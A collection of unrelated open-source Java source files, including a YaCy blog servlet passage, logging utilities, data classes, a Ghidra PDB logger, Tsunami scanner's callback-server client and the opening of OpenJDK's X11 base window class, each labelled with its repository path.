Peer URL base : used to generate absolute URLs in Blog.rss */ final String context = YaCyDefaultServlet.getContext(header, sb); prop.put("mode_admin", hasRights ? "1" : "0"); if (post == null) { prop.putHTML("peername", sb.peers.mySeed().getName()); prop.put("context", context); return putBlogDefault(prop, sb, context, 0, 10, hasRights, xml); } final int start = post.getInt("start",0); //indicates from where entries should be shown final int num = post.getInt("num",10); //indicates how many entries should be shown if (!hasRights) { final UserDB.Entry userentry = sb.userDB.proxyAuth(header); if (userentry != null && userentry.hasRight(UserDB.AccessRight.BLOG_RIGHT)) { hasRights=true; } else if (post.containsKey("login")) { //opens login window if login link is clicked prop.authenticationRequired(); } } String pagename = post.get("page", DEFAULT_PAGE); final String ip = header.getRemoteAddr(); String strAuthor = post.get("author", "anonymous"); if ("anonymous".equals(strAuthor)) { strAuthor = sb.blogDB.guessAuthor(ip); if (strAuthor == null || strAuthor.isEmpty()) { if (sb.peers.mySeed() == null) { strAuthor = "anonymous"; } else { strAuthor = sb.peers.mySeed().get(Seed.NAME, "anonymous"); } } } byte[] author; author = UTF8.getBytes(strAuthor); if (hasRights && post.containsKey("delete") && "sure".equals(post.get("delete"))) { page = sb.blogDB.readBlogEntry(pagename); for (final String comment : page.getComments()) { sb.blogCommentDB.delete(comment); } sb.blogDB.deleteBlogEntry(pagename); pagename = DEFAULT_PAGE; } if (post.containsKey("discard")) { pagename = DEFAULT_PAGE; } if (post.containsKey("submit") && hasRights) { // store a new/edited blog-entry byte[] content; content = UTF8.getBytes(post.get("content", "")); final Date date; List<String> comments = null; //set name for new entry or date for old entry if (DEFAULT_PAGE.equals(pagename)) { pagename = String.valueOf(System.currentTimeMillis()); date = null; } else { page = sb.blogDB.readBlogEntry(pagename); comments = page.getComments(); date = page.getDate(); } final String commentMode = post.get("commentMode", "2"); final String StrSubject = post.get("subject", ""); byte[] subject; subject = UTF8.getBytes(StrSubject); sb.blogDB.writeBlogEntry(sb.blogDB.newEntry(pagename, subject, author, ip, date, content, comments, commentMode)); // create a news message if (!sb.isRobinsonMode()) { final Map<String, String> map = new HashMap<String, String>(); map.put("page", pagename); map.put("subject", StrSubject.replace(',', ' ')); map.put("author", strAuthor.replace(',', ' ')); sb.peers.newsPool.publishMyNews(sb.peers.mySeed(), NewsPool.CATEGORY_BLOG_ADD, map); } } page = sb.blogDB.readBlogEntry(pagename); //maybe "if(page == null)" if (post.containsKey("edit")) { //edit an entry if(hasRights) { prop.put("mode", "1"); //edit prop.put("mode_commentMode", page.getCommentMode()); prop.putHTML("mode_author", UTF8.String(page.getAuthor())); prop.put("mode_pageid", page.getKey()); prop.putHTML("mode_subject", UTF8.String(page.getSubject())); prop.put("mode_page-code", UTF8.String(page.getPage())); } else { prop.put("mode", "3"); //access denied (no rights) } } else if(post.containsKey("preview")) { //preview the page if(hasRights) { prop.put("mode", "2");//preview prop.put("mode_commentMode", post.getInt("commentMode", 2)); prop.putHTML("mode_pageid", pagename); prop.putHTML("mode_author", UTF8.String(author)); prop.putHTML("mode_subject", post.get("subject","")); prop.put("mode_date", dateString(new Date())); prop.putWiki("mode_page", post.get("content", "")); prop.putHTML("mode_page-code", post.get("content", "")); } else { prop.put("mode", "3"); //access denied (no rights) } } else if("try".equals(post.get("delete", ""))) { if(hasRights) { prop.put("mode", "4"); prop.putHTML("mode_pageid", pagename); prop.putHTML("mode_author",UTF8.String(page.getAuthor())); prop.putHTML("mode_subject",UTF8.String(page.getSubject())); } else prop.put("mode", "3"); //access denied (no rights) } else if (post.containsKey("import")) { prop.put("mode", "5"); prop.put("mode_state", "0"); } else if (post.containsKey("xmlfile")) { prop.put("mode", "5"); if(sb.blogDB.importXML(post.get("xmlfile$file"))) { prop.put("mode_state", "1"); } else { prop.put("mode_state", "2"); } } else { // show blog-entry/entries prop.put("mode", "0"); //viewing if(DEFAULT_PAGE.equals(pagename)) { // XXX: where are "peername" and "address" used in the template? // XXX: "clientname" is already set to the peername, no need for a new setting prop.putHTML("peername", sb.peers.mySeed().getName()); prop.put("context", context); //index all entries putBlogDefault(prop, sb, context, start, num, hasRights, xml); } else { //only show 1 entry prop.put("mode_entries", "1"); putBlogEntry(prop, page, context, 0, hasRights, xml); } } // return rewrite properties return prop; } private static serverObjects putBlogDefault( final serverObjects prop, final Switchboard switchboard, final String context, int start, int num, final boolean hasRights, final boolean xml) { final Iterator<String> i = switchboard.blogDB.getBlogIterator(false); int count = 0; //counts how many entries are shown to the user if (xml) { num = 0; } final int nextstart = start+num; //indicates the starting offset for next results int prevstart = start-num; //indicates the starting offset for previous results while (i.hasNext() && (num == 0 || num > count)) { if(0 < start--) continue; putBlogEntry( prop, switchboard.blogDB.readBlogEntry(i.next()), context, count++, hasRights, xml); } prop.put("mode_entries", count); if (i.hasNext()) { prop.put("mode_moreentries", "1"); //more entries are availible prop.put("mode_moreentries_start", nextstart); prop.put("mode_moreentries_num", num); } else { prop.put("moreentries", "0"); } if (start > 0) { prop.put("mode_preventries", "1"); if (prevstart < 0) { prevstart = 0; } prop.put("mode_preventries_start", prevstart); prop.put("mode_preventries_num", num); } else prop.put("mode_preventries", "0"); return prop; } private static serverObjects putBlogEntry( final serverObjects prop, final BlogBoard.BlogEntry entry, final String context, final int number, final boolean hasRights, final boolean xml) { prop.putHTML("mode_entries_" + number + "_subject", UTF8.String(entry.getSubject())); prop.putHTML("mode_entries_" + number + "_author", UTF8.String(entry.getAuthor())); // comments if (entry.getCommentMode() == 0) { prop.put("mode_entries_" + number + "_commentsactive", "0"); } else { prop.put("mode_entries_" + number + "_commentsactive", "1"); prop.put("mode_entries_" + number + "_commentsactive_pageid", entry.getKey()); prop.put("mode_entries_" + number + "_commentsactive_context", context); prop.put("mode_entries_" + number + "_commentsactive_comments", entry.getCommentsSize()); } prop.put("mode_entries_" + number + "_date", dateString(entry.getDate())); prop.put("mode_entries_" + number + "_rfc822date", HeaderFramework.formatRFC1123(entry.getDate())); prop.put("mode_entries_" + number + "_pageid", entry.getKey()); prop.put("mode_entries_" + number + "_context", context); prop.put("mode_entries_" + number + "_ip", entry.getIp()); if (xml) { prop.put("mode_entries_" + number + "_page", entry.getPage()); prop.put("mode_entries_" + number + "_timestamp", entry.getTimestamp()); } else { prop.putWiki("mode_entries_" + number + "_page", entry.getPage()); } if (hasRights) { prop.put("mode_entries_" + number + "_admin", "1"); prop.put("mode_entries_" + number + "_admin_pageid",entry.getKey()); } else { prop.put("mode_entries_" + number + "_admin", "0"); } return prop; } }
yacy/yacy_search_server
source/net/yacy/htroot/Blog.java
41,507
package com.balsikandar.logger; import android.util.Log; public final class BLog { private static boolean IS_LOGGING_ENABLED = false; private static String TAG = BobbleConstants.TAG; private BLog() { // This class is not publicly instantiable } public static void enableLogging() { IS_LOGGING_ENABLED = true; } public static void disableLogging() { IS_LOGGING_ENABLED = false; } public static void setTag(String tag) { if (tag == null) { return; } TAG = tag; } public static void d(String tag, String message) { if (IS_LOGGING_ENABLED) { Log.d(tag, message); } } public static void d(String message) { if (IS_LOGGING_ENABLED) { Log.d(TAG, message); } } public static void e(String message) { if (IS_LOGGING_ENABLED) { Log.e(TAG, message); } } public static void e(String tag, String message) { if (IS_LOGGING_ENABLED) { Log.e(tag, message); } } public static void i(String message) { if (IS_LOGGING_ENABLED) { Log.i(TAG, message); } } public static void i(String tag, String message) { if (IS_LOGGING_ENABLED) { Log.i(tag, message); } } public static void w(String message) { if (IS_LOGGING_ENABLED) { Log.w(TAG, message); } } public static void w(String tag, String message) { if (IS_LOGGING_ENABLED) { Log.w(tag, message); } } public static void wtf(String message) { if (IS_LOGGING_ENABLED) { Log.wtf(TAG, message); } } public static void wtf(String tag, String message) { if (IS_LOGGING_ENABLED) { Log.wtf(tag, message); } } }
ihorlaitan/Android-Studio-Plugins
Logger/BLog.java
41,508
package com.baeldung.thymeleaf.blog; import java.util.Date; public class BlogDTO { private long blogId; private String title; private String body; private String author; private String category; private Date publishedDate; public long getBlogId() { return blogId; } public void setBlogId(long blogId) { this.blogId = blogId; } public String getTitle() { return title; } public void setTitle(String title) { this.title = title; } public String getBody() { return body; } public void setBody(String body) { this.body = body; } public String getAuthor() { return author; } public void setAuthor(String author) { this.author = author; } public String getCategory() { return category; } public void setCategory(String category) { this.category = category; } public Date getPublishedDate() { return publishedDate; } public void setPublishedDate(Date publishedDate) { this.publishedDate = publishedDate; } }
eugenp/tutorials
spring-web-modules/spring-thymeleaf-3/src/main/java/com/baeldung/thymeleaf/blog/BlogDTO.java
41,509
package com.springboot.bean; import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Component; @Component public class BlogProperties { @Value("${mrbird.blog.name}") private String name; @Value("${mrbird.blog.title}") private String title; public String getName() { return name; } public void setName(String name) { this.name = name; } public String getTitle() { return title; } public void setTitle(String title) { this.title = title; } }
wuyouzhuguli/SpringAll
02.Spring-Boot-Config/src/main/java/com/springboot/bean/BlogProperties.java
41,510
package com.macro.mall.common.domain; import lombok.Data; import lombok.EqualsAndHashCode; /** * Controller层的日志封装类 * Created by macro on 2018/4/26. */ @Data @EqualsAndHashCode public class WebLog { /** * 操作描述 */ private String description; /** * 操作用户 */ private String username; /** * 操作时间 */ private Long startTime; /** * 消耗时间 */ private Integer spendTime; /** * 根路径 */ private String basePath; /** * URI */ private String uri; /** * URL */ private String url; /** * 请求类型 */ private String method; /** * IP地址 */ private String ip; /** * 请求参数 */ private Object parameter; /** * 返回结果 */ private Object result; }
macrozheng/mall
mall-common/src/main/java/com/macro/mall/common/domain/WebLog.java
41,511
package me.zhyd.oauth.model; import com.alibaba.fastjson.JSONObject; import lombok.*; import me.zhyd.oauth.enums.AuthUserGender; import java.io.Serializable; /** * 授权成功后的用户信息,根据授权平台的不同,获取的数据完整性也不同 * * @author yadong.zhang (yadong.zhang0415(a)gmail.com) * @since 1.8 */ @Getter @Setter @Builder @NoArgsConstructor @AllArgsConstructor public class AuthUser implements Serializable { /** * 用户第三方系统的唯一id。在调用方集成该组件时,可以用uuid + source唯一确定一个用户 * * @since 1.3.3 */ private String uuid; /** * 用户名 */ private String username; /** * 用户昵称 */ private String nickname; /** * 用户头像 */ private String avatar; /** * 用户网址 */ private String blog; /** * 所在公司 */ private String company; /** * 位置 */ private String location; /** * 用户邮箱 */ private String email; /** * 用户备注(各平台中的用户个人介绍) */ private String remark; /** * 性别 */ private AuthUserGender gender; /** * 用户来源 */ private String source; /** * 用户授权的token信息 */ private AuthToken token; /** * 第三方平台返回的原始用户信息 */ private JSONObject rawUserInfo; /** * 微信公众号 - 网页授权的登录时可用 * * 微信针对网页授权登录,增加了一个快照页的逻辑,快照页获取到的微信用户的 uid oid 和头像昵称都是虚拟的信息 */ private boolean snapshotUser; }
justauth/JustAuth
src/main/java/me/zhyd/oauth/model/AuthUser.java
41,512
/* ### * IP: GHIDRA * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package ghidra.app.util.bin.format.pdb2.pdbreader; import java.io.*; import java.util.function.Supplier; import generic.io.NullWriter; import ghidra.app.util.bin.format.pdb2.pdbreader.type.AbstractMsType; import ghidra.framework.Application; import ghidra.util.Msg; /** * A utility class providing logging for: PDB parsing and PDB analysis. It includes data and * metrics for the purposes of debugging and aiding in continued research and development of * this package. */ public class PdbLog { private static Writer nullWriter; private static Writer fileWriter; private static final boolean SYSTEM_LOGGING_ENABLED = Boolean.getBoolean("ghidra.pdb.logging"); private static boolean enabled = SYSTEM_LOGGING_ENABLED; /** * Enable or disable future messages to be output to the appropriate log resource. This * method gives control to the client to be able to turn on/off the messaging output without * having to do conditional checks at each point that one of the messaging methods is called. * @param enable {@code true} to enable logging; {@code false} to disable logging. Initial * state is {@code false} * @throws IOException upon problem creating a {@link FileWriter} * @see #message(String) * @see #message(String, Supplier...) */ public static void setEnabled(boolean enable) throws IOException { enabled = enable; } /** * Outputs a message to the PDB log if messaging has been enable, else ignored. This method * uses a format string and a variable arguments list of lambdas to allow for deferred * processing of the message to output. Thus, when message output is disabled, the client * does not endure as much cost in supplying a message string that is not used * @param format a {@link String} format list as would be used to a printf() function, but * which must only specify {@code %s} {@link String} outputs. * @param suppliers variable number of {@link Supplier}&lt;{@link String}&gt; arguments. The * number must match the number of {@code %s} outputs in the format string * @see #setEnabled(boolean) */ // We know this is @SafeVarags (or SuppressWarnings("unchecked")) on potential // "heap pollution" because we are only using the inputs as Objects. @SafeVarargs public static void message(String format, Supplier<String>... suppliers) { if (!enabled) { return; } Object[] varArgs = new Object[suppliers.length]; for (int i = 0; i < suppliers.length; i++) { Supplier<String> supplier = suppliers[i]; String var = supplier.get().toString(); varArgs[i] = var; } try { Writer writer = getWriter(); writer.append(String.format(format, varArgs)); writer.append("\n"); writer.flush(); } catch (IOException e) { handleIOException(e); } } /** * Outputs a message to the PDB log if messaging has been enable, else ignored. This method * uses a {@link Supplier}&lt;{@link String}&gt; to allow for deferred processing of the message * to output. Thus, when message output is disabled, the client does not endure as much cost * in supplying a message string that is not used * @param supplier a {@link Supplier}&lt;{@link String}&gt; that supplies a {@link String} * message to be output * @see #setEnabled(boolean) */ public static void message(Supplier<String> supplier) { if (!enabled) { return; } try { Writer writer = getWriter(); writer.append(supplier.get()); writer.append("\n"); writer.flush(); } catch (IOException e) { handleIOException(e); } } /** * Outputs a {@link String} message to the PDB log if messaging has been enable, else ignored * @param message a {@link String} message to be output * @see #setEnabled(boolean) */ public static void message(String message) { try { Writer writer = getWriter(); writer.append(message); writer.append("\n"); writer.flush(); } catch (IOException e) { handleIOException(e); } } public static void logSerializationItemClassMismatch(IdMsParsable parsable, Class<?> requiredClass, int dataTypeId) { message("Parsed type (" + parsable.getClass().getSimpleName() + ") does not matched required (" + requiredClass.getSimpleName() + ") for dataTypeId " + dataTypeId); } public static void logDeserializationFailure(PdbByteReader reader, int dataTypeId, Exception e) { message("Encountered exception on dataTypeId " + dataTypeId + " near reader index " + reader.getIndex() + ": " + e); } // TODO: Not sure if we will keep this. It is recording "on-use" detection instead of // "when-parsed" detection. Not sure if when-parsed detection can work as the min/max // might not have been read, depending on the order of how record sets are read. // TODO: is using PdbLog here. Is that what we intend? /** * Logs fact of record index out of range (detection is performed by caller) * @param tpi the TypeProgramInterface involved * @param recordNumber the record number to report */ public static void logBadTypeRecordIndex(TypeProgramInterface tpi, int recordNumber) { message("Bad requested type record " + recordNumber + ", min: " + tpi.getTypeIndexMin() + ", max: " + tpi.getTypeIndexMaxExclusive()); } /** * Logs fact of record index out of range (detection is performed by caller) * @param type {@link AbstractMsType} found * @param itemRequiredClass class expected */ public static void logGetTypeClassMismatch(AbstractMsType type, Class<?> itemRequiredClass) { message("Mismatch type " + type.getClass().getSimpleName() + " for " + type.getName() + ", expected: " + itemRequiredClass.getSimpleName()); } /** * Cleans up the class by closing resources */ public static void dispose() { try { if (fileWriter != null) { fileWriter.close(); } } catch (IOException newException) { // squash } fileWriter = null; } /** * Returns the {@link Writer} for logging * @return a {@link Writer} for for logging */ private static Writer getWriter() throws IOException { return enabled ? getFileWriter() : getNullWriter(); } /** * Returns the {@link FileWriter} for the log file. If the file is already open, it is * returned. If not already open, it is opened and previous contents are deleted * @return a {@link FileWriter} for the log file */ private static Writer getFileWriter() throws IOException { if (fileWriter == null) { /* * Since we want this logging to be used sparingly and on a case-by-case basis, we * delete the log contents upon initial opening. New log writing always uses the * same log file name with not date or process ID attributes. */ File logFile = new File(Application.getUserSettingsDirectory(), "pdb.analyzer.log"); if (logFile.exists()) { logFile.delete(); } fileWriter = new FileWriter(logFile); } return fileWriter; } /** * Returns a {@link NullWriter} for the log file when chosen instead of a FileWriter. If * one already exists, it is returned. Otherwise a new one is created * @return a {@link NullWriter} for the log file */ private static Writer getNullWriter() { if (nullWriter == null) { nullWriter = new NullWriter(); } return nullWriter; } private static void handleIOException(IOException exception) { try { if (fileWriter != null) { fileWriter.close(); } } catch (IOException newException) { // squash } Msg.error(PdbLog.class, "IOException encountered; disabling writer", exception); enabled = false; } }
NationalSecurityAgency/ghidra
Ghidra/Features/PDB/src/main/java/ghidra/app/util/bin/format/pdb2/pdbreader/PdbLog.java
41,513
package cn.exrick.manager.pojo; import java.util.Date; public class TbLog { private Integer id; private String name; private Integer type; private String url; private String requestType; private String requestParam; private String user; private String ip; private String ipInfo; private Integer time; private Date createDate; public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name == null ? null : name.trim(); } public Integer getType() { return type; } public void setType(Integer type) { this.type = type; } public String getUrl() { return url; } public void setUrl(String url) { this.url = url == null ? null : url.trim(); } public String getRequestType() { return requestType; } public void setRequestType(String requestType) { this.requestType = requestType == null ? null : requestType.trim(); } public String getRequestParam() { return requestParam; } public void setRequestParam(String requestParam) { this.requestParam = requestParam == null ? null : requestParam.trim(); } public String getUser() { return user; } public void setUser(String user) { this.user = user == null ? null : user.trim(); } public String getIp() { return ip; } public void setIp(String ip) { this.ip = ip == null ? null : ip.trim(); } public String getIpInfo() { return ipInfo; } public void setIpInfo(String ipInfo) { this.ipInfo = ipInfo == null ? null : ipInfo.trim(); } public Integer getTime() { return time; } public void setTime(Integer time) { this.time = time; } public Date getCreateDate() { return createDate; } public void setCreateDate(Date createDate) { this.createDate = createDate; } }
Exrick/xmall
generatorSqlmapCustom/src/cn/exrick/manager/pojo/TbLog.java
41,514
/* * Copyright 2021 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.tsunami.plugin; import static com.google.common.base.Preconditions.checkNotNull; import static com.google.tsunami.common.net.UrlUtils.removeTrailingSlashes; import com.google.common.flogger.GoogleLogger; import com.google.common.net.HostAndPort; import com.google.common.net.InetAddresses; import com.google.common.net.InternetDomainName; import com.google.protobuf.util.JsonFormat; import com.google.tsunami.callbackserver.common.CbidGenerator; import com.google.tsunami.callbackserver.common.CbidProcessor; import com.google.tsunami.callbackserver.common.Sha3CbidGenerator; import com.google.tsunami.callbackserver.proto.PollingResult; import com.google.tsunami.common.net.http.HttpClient; import com.google.tsunami.common.net.http.HttpHeaders; import com.google.tsunami.common.net.http.HttpRequest; import com.google.tsunami.common.net.http.HttpResponse; import java.io.IOException; import java.util.Optional; /** TcsClient for generating oob payload and retriving result */ public final class TcsClient { private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); private static final JsonFormat.Parser jsonParser = JsonFormat.parser(); private final String callbackAddress; private final int callbackPort; private final String pollingBaseUrl; private final CbidGenerator cbidGenerator; private final HttpClient httpClient; public TcsClient( String callbackAddress, int callbackPort, String pollingBaseUrl, HttpClient httpClient) { this.callbackAddress = checkNotNull(callbackAddress); this.callbackPort = callbackPort; this.pollingBaseUrl = checkNotNull(pollingBaseUrl); this.cbidGenerator = new Sha3CbidGenerator(); this.httpClient = checkNotNull(httpClient); } /** * Checks whether the callback server is configured. Detectors should use this to determine if * they can use the callback server for detecting vulnerabilities * * @return whether the callback server is enabled */ public boolean isCallbackServerEnabled() { // only return false when all config fields are empty so that improper config (e.g., missing // certain fields) can be exposed. Note that {@link TcsClient} already checks that all the // class variables are not null. return !this.callbackAddress.isEmpty() && isValidPortNumber(this.callbackPort) && !this.pollingBaseUrl.isEmpty(); } public String getCallbackUri(String secretString) { String cbid = cbidGenerator.generate(secretString); if (!isValidPortNumber(callbackPort)) { throw new AssertionError("Invalid callbackPort number specified"); } HostAndPort hostAndPort = callbackPort == 80 ? HostAndPort.fromHost(callbackAddress) : HostAndPort.fromParts(callbackAddress, callbackPort); // check if the specified address is raw IP or domain if (InetAddresses.isInetAddress(callbackAddress)) { return CbidProcessor.addCbidToUrl(cbid, hostAndPort); } else if (InternetDomainName.isValid(callbackAddress)) { return CbidProcessor.addCbidToSubdomain(cbid, hostAndPort); } // Should never reach here throw new AssertionError("Unrecognized address format, should be Ip address or valid domain"); } public boolean hasOobLog(String secretString) { // making a blocking call to get result Optional<PollingResult> result = sendPollingRequest(secretString); if (result.isPresent()) { // In the future we may refactor hasOobLog() to return finer grained info about what kind // of oob is logged return result.get().getHasDnsInteraction() || result.get().getHasHttpInteraction(); } else { // we may choose to retry sendPollingRequest() if oob interactions do arrive late. return false; } } private Optional<PollingResult> sendPollingRequest(String secretString) { HttpRequest request = HttpRequest.get( String.format("%s/?secret=%s", removeTrailingSlashes(pollingBaseUrl), secretString)) .setHeaders(HttpHeaders.builder().addHeader("Cache-Control", "no-cache").build()) .build(); try { HttpResponse response = httpClient.send(request); if (response.status().isSuccess()) { PollingResult.Builder result = PollingResult.newBuilder(); jsonParser.merge(response.bodyString().get(), result); return Optional.of(result.build()); } else { logger.atInfo().log("OOB server returned %s", response.status().code()); } } catch (IOException e) { logger.atWarning().withCause(e).log("Polling request failed"); } return Optional.empty(); } private static boolean isValidPortNumber(int port) { return port > 0 && port < 65536; } }
google/tsunami-security-scanner
plugin/src/main/java/com/google/tsunami/plugin/TcsClient.java
41,515
/* * Copyright (c) 2003, 2023, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Oracle designates this * particular file as subject to the "Classpath" exception as provided * by Oracle in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ package sun.awt.X11; import java.awt.Dimension; import java.awt.Point; import java.awt.Rectangle; import java.util.HashSet; import java.util.Set; import sun.awt.SunToolkit; import sun.util.logging.PlatformLogger; public class XBaseWindow { private static final PlatformLogger log = PlatformLogger.getLogger("sun.awt.X11.XBaseWindow"); private static final PlatformLogger insLog = PlatformLogger.getLogger("sun.awt.X11.insets.XBaseWindow"); private static final PlatformLogger eventLog = PlatformLogger.getLogger("sun.awt.X11.event.XBaseWindow"); private static final PlatformLogger focusLog = PlatformLogger.getLogger("sun.awt.X11.focus.XBaseWindow"); private static final PlatformLogger grabLog = PlatformLogger.getLogger("sun.awt.X11.grab.XBaseWindow"); public static final String PARENT_WINDOW = "parent window", // parent window, Long BOUNDS = "bounds", // bounds of the window, Rectangle OVERRIDE_REDIRECT = "overrideRedirect", // override_redirect setting, Boolean EVENT_MASK = "event mask", // event mask, Integer VALUE_MASK = "value mask", // value mask, Long BORDER_PIXEL = "border pixel", // border pixel value, Integer COLORMAP = "color map", // color map, Long DEPTH = "visual depth", // depth, Integer VISUAL_CLASS = "visual class", // visual class, Integer VISUAL = "visual", // visual, Long EMBEDDED = "embedded", // is embedded?, Boolean DELAYED = "delayed", // is creation delayed?, Boolean PARENT = "parent", // parent peer BACKGROUND_PIXMAP = "pixmap", // background pixmap VISIBLE = "visible", // whether it is visible by default SAVE_UNDER = "save under", // save content under this window BACKING_STORE = "backing store", // enables double buffering BIT_GRAVITY = "bit gravity"; // copy old content on geometry change private XCreateWindowParams delayedParams; Set<Long> children = new HashSet<Long>(); long window; boolean visible; boolean mapped; boolean embedded; Rectangle maxBounds; volatile XBaseWindow parentWindow; private boolean disposed; private long screen; private XSizeHints hints; private XWMHints wmHints; static final int MIN_SIZE = 1; static final int DEF_LOCATION = 1; private static XAtom wm_client_leader; static enum InitialiseState { INITIALISING, INITIALISED, FAILED_INITIALISATION } private InitialiseState initialising; int x; int y; int width; int height; void awtLock() { XToolkit.awtLock(); } void awtUnlock() { XToolkit.awtUnlock(); } void awtLockNotifyAll() { XToolkit.awtLockNotifyAll(); } void awtLockWait() throws InterruptedException { XToolkit.awtLockWait(); } // To prevent errors from overriding obsolete methods protected final void init(long parentWindow, Rectangle bounds) {} protected final void preInit() {} protected final void postInit() {} // internal lock for synchronizing state changes and paint calls, initialized in preInit. // the order with other locks: AWTLock -> stateLock static class StateLock { } protected StateLock state_lock; /** * Called for delayed inits during construction */ void instantPreInit(XCreateWindowParams params) { state_lock = new StateLock(); } /** * Called before window creation, descendants should override to initialize the data, * initialize params. */ void preInit(XCreateWindowParams params) { state_lock = new StateLock(); embedded = Boolean.TRUE.equals(params.get(EMBEDDED)); visible = Boolean.TRUE.equals(params.get(VISIBLE)); Object parent = params.get(PARENT); if (parent instanceof XBaseWindow) { parentWindow = (XBaseWindow)parent; } else { Long parentWindowID = (Long)params.get(PARENT_WINDOW); if (parentWindowID != null) { parentWindow = XToolkit.windowToXWindow(parentWindowID); } } Long eventMask = (Long)params.get(EVENT_MASK); if (eventMask != null) { long mask = eventMask.longValue(); mask |= XConstants.SubstructureNotifyMask; params.put(EVENT_MASK, mask); } screen = -1; } /** * Called after window creation, descendants should override to initialize Window * with class-specific values and perform post-initialization actions. */ void postInit(XCreateWindowParams params) { if (log.isLoggable(PlatformLogger.Level.FINE)) { log.fine("WM name is " + getWMName()); } updateWMName(); // Set WM_CLIENT_LEADER property initClientLeader(); } /** * Creates window using parameters {@code params} * If params contain flag DELAYED doesn't do anything. * Note: Descendants can call this method to create the window * at the time different to instance construction. */ protected final void init(XCreateWindowParams params) { awtLock(); initialising = InitialiseState.INITIALISING; awtUnlock(); try { if (!Boolean.TRUE.equals(params.get(DELAYED))) { preInit(params); create(params); postInit(params); } else { instantPreInit(params); delayedParams = params; } awtLock(); initialising = InitialiseState.INITIALISED; awtLockNotifyAll(); awtUnlock(); } catch (RuntimeException re) { awtLock(); initialising = InitialiseState.FAILED_INITIALISATION; awtLockNotifyAll(); awtUnlock(); throw re; } catch (Throwable t) { log.warning("Exception during peer initialization", t); awtLock(); initialising = InitialiseState.FAILED_INITIALISATION; awtLockNotifyAll(); awtUnlock(); } } public boolean checkInitialised() { awtLock(); try { switch (initialising) { case INITIALISED: return true; case INITIALISING: try { while (initialising != InitialiseState.INITIALISED) { awtLockWait(); } } catch (InterruptedException ie) { return false; } return true; case FAILED_INITIALISATION: return false; default: return false; } } finally { awtUnlock(); } } /* * Creates an invisible InputOnly window without an associated Component. */ XBaseWindow() { this(new XCreateWindowParams()); } /** * Creates normal child window */ XBaseWindow(long parentWindow, Rectangle bounds) { this(new XCreateWindowParams(new Object[] { BOUNDS, bounds, PARENT_WINDOW, Long.valueOf(parentWindow)})); } /** * Creates top-level window */ XBaseWindow(Rectangle bounds) { this(new XCreateWindowParams(new Object[] { BOUNDS, bounds })); } public XBaseWindow (XCreateWindowParams params) { init(params); } /* This create is used by the XEmbeddedFramePeer since it has to create the window as a child of the netscape window. This netscape window is passed in as wid */ XBaseWindow(long parentWindow) { this(new XCreateWindowParams(new Object[] { PARENT_WINDOW, Long.valueOf(parentWindow), EMBEDDED, Boolean.TRUE })); } /** * Verifies that all required parameters are set. If not, sets them to default values. * Verifies values of critical parameters, adjust their values when needed. * @throws IllegalArgumentException if params is null */ protected void checkParams(XCreateWindowParams params) { if (params == null) { throw new IllegalArgumentException("Window creation parameters are null"); } params.putIfNull(PARENT_WINDOW, Long.valueOf(XToolkit.getDefaultRootWindow())); params.putIfNull(BOUNDS, new Rectangle(DEF_LOCATION, DEF_LOCATION, MIN_SIZE, MIN_SIZE)); params.putIfNull(DEPTH, Integer.valueOf((int)XConstants.CopyFromParent)); params.putIfNull(VISUAL, Long.valueOf(XConstants.CopyFromParent)); params.putIfNull(VISUAL_CLASS, Integer.valueOf(XConstants.InputOnly)); params.putIfNull(VALUE_MASK, Long.valueOf(XConstants.CWEventMask)); Rectangle bounds = (Rectangle)params.get(BOUNDS); bounds.width = Math.max(MIN_SIZE, bounds.width); bounds.height = Math.max(MIN_SIZE, bounds.height); Long eventMaskObj = (Long)params.get(EVENT_MASK); long eventMask = eventMaskObj != null ? eventMaskObj.longValue() : 0; // We use our own synthetic grab see XAwtState.getGrabWindow() // (see X vol. 1, 8.3.3.2) eventMask |= XConstants.PropertyChangeMask | XConstants.OwnerGrabButtonMask; params.put(EVENT_MASK, Long.valueOf(eventMask)); } /** * Returns scale factor of the window. It is used to convert native * coordinates to local and vice verse. */ protected int getScale() { return 1; } protected int scaleUp(int x) { return x; } protected int scaleDown(int x) { return x; } /** * Creates window with parameters specified by {@code params} * @see #init */ private void create(XCreateWindowParams params) { XToolkit.awtLock(); try { XSetWindowAttributes xattr = new XSetWindowAttributes(); try { checkParams(params); long value_mask = ((Long)params.get(VALUE_MASK)).longValue(); Long eventMask = (Long)params.get(EVENT_MASK); xattr.set_event_mask(eventMask.longValue()); value_mask |= XConstants.CWEventMask; Long border_pixel = (Long)params.get(BORDER_PIXEL); if (border_pixel != null) { xattr.set_border_pixel(border_pixel.longValue()); value_mask |= XConstants.CWBorderPixel; } Long colormap = (Long)params.get(COLORMAP); if (colormap != null) { xattr.set_colormap(colormap.longValue()); value_mask |= XConstants.CWColormap; } Long background_pixmap = (Long)params.get(BACKGROUND_PIXMAP); if (background_pixmap != null) { xattr.set_background_pixmap(background_pixmap.longValue()); value_mask |= XConstants.CWBackPixmap; } Long 